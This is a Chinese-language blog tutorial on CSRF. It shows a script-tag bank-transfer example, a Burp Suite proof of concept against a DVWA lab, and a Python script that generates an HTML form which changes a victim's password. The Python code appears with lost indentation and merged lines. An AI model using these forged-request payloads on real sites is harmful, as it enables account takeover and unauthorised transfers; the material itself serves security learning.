浅谈CSRF漏洞

时间:2024-06-30 09:35:20
前言:
看完小迪老师的CSRF漏洞讲解。感觉不行
就自己百度学习。这是总结出来的。
歌曲:
正文:
CSRF与xss和像,但是两个是完全不一样的东西。
xss攻击(跨站脚本攻击)储存型的XSS由攻击者和受害者一同完成。xss详细介绍:点我跳转
CSRF(跨站脚本伪造)完全由受害者完成。攻击者不参与其中。CSRF详细介绍:点我跳转
CSRF原理:
银行转账的数据包:http://jianse.com/zhuanzhang.php?name=lu&email=xxx@qq.com&monet=1000
攻击者的博客:http://www.hack.com/index,php
把这个加入到js里面。<script src="http://jianse.com/zhuanzhang.php?name=lu&email=xxx@qq.com&monet=1000"></script>将这条代码计入到攻击者的博客。如果受害者登录了银行。而Session又没有过期,后而访问了攻击者的博客。当攻击者的博客加载好了js代码。受害者就会打了1000元给攻击者。
浅谈CSRF漏洞
 浅谈CSRF漏洞
实验:
这里我使用DVWA来做使CSRF漏洞实现。攻击步骤如下:
首先登录DVWA,来到CSRF这里。 注:这里我的防御等级为low
浅谈CSRF漏洞
浅谈CSRF漏洞
启动Burpsuite,设置代理。
浅谈CSRF漏洞

浅谈CSRF漏洞

浅谈CSRF漏洞
浅谈CSRF漏洞
回到刚刚的页面,输入要更改的密码。burp开启抓包
浅谈CSRF漏洞
 浅谈CSRF漏洞
抓到的包
浅谈CSRF漏洞
浅谈CSRF漏洞
构造CSRF POC
浅谈CSRF漏洞
浅谈CSRF漏洞
更改所需要的
浅谈CSRF漏洞
浅谈CSRF漏洞
点击Regenerate按钮更新POC,点击Test in browser复制链接
浅谈CSRF漏洞
浅谈CSRF漏洞
点击Copy按钮。复制到浏览器上使用
浅谈CSRF漏洞
浅谈CSRF漏洞
点击按钮实行csrf攻击。
浅谈CSRF漏洞
浅谈CSRF漏洞
从图中我们可以看到密码已经更改,退回登录界面。
浅谈CSRF漏洞
浅谈CSRF漏洞
点击登录
浅谈CSRF漏洞
浅谈CSRF漏洞
从图中我们可以看到,CSRF攻击已经成功实施。
既然如此我们为什么不写一个CSRF脚本呢?
代码如下:
import time
import simplejson as json
def poc():
url="http://a2fae7a7.ngrok.io/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change"
headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}
values=url.split('?')[-1]
urltwo=url.split('?')[:-1]
urltwos="".join(urltwo)
dumps={}
for line in values.split('&'):
key,value=line.split('=',1)
dumps[key]=value
discts=[i for i in dumps.keys()]
print('原url:',url)
print('url原带的参数:',dumps)
dumps['password_new'] = 'password'
dumps['password_conf'] = 'password'
valueswto=[g for g in dumps.values()]
print('url更该后的参数',dumps)
print('1.burpsuite的POC') user=input('请进行你的选择:')
if user == '1':
print('burpsiuite的POC')
burp=open('burp.html','w')
burp.write('<html>\n')
burp.write('<body>\n')
burp.write('<script>history.pushState("''","''",'"'/'"')</script>\n')
burp.write('<form action="{}">\n'.format(urltwos))
burp.write('<input type="hidden" name="{}" value="{}"/>\n'.format(discts[0],valueswto[0]))
burp.write('<input type="hidden" name="{}" value="{}"/>\n'.format(discts[1],valueswto[1]))
burp.write('<input type="hidden" name="{}" value="{}"/>\n'.format(discts[2],valueswto[2]))
burp.write('<input type="submit" value="Submit CSRF POC"/>\n')
burp.write('</form>\n')
burp.write('</body>\n')
burp.write('</html>\n')
burp.close()
else:
print('【-】抱歉你没有进行选择,退出ing...')
time.sleep(1)
exit() poc()

  测试结果如下:

浅谈CSRF漏洞

生成的html

浅谈CSRF漏洞

打开burp.html

浅谈CSRF漏洞

 点击按钮
浅谈CSRF漏洞

密码更改成功。

有关CSRF的资料:《CSRF原理》

《深入CSRF解析》

《从0开始学CSRF》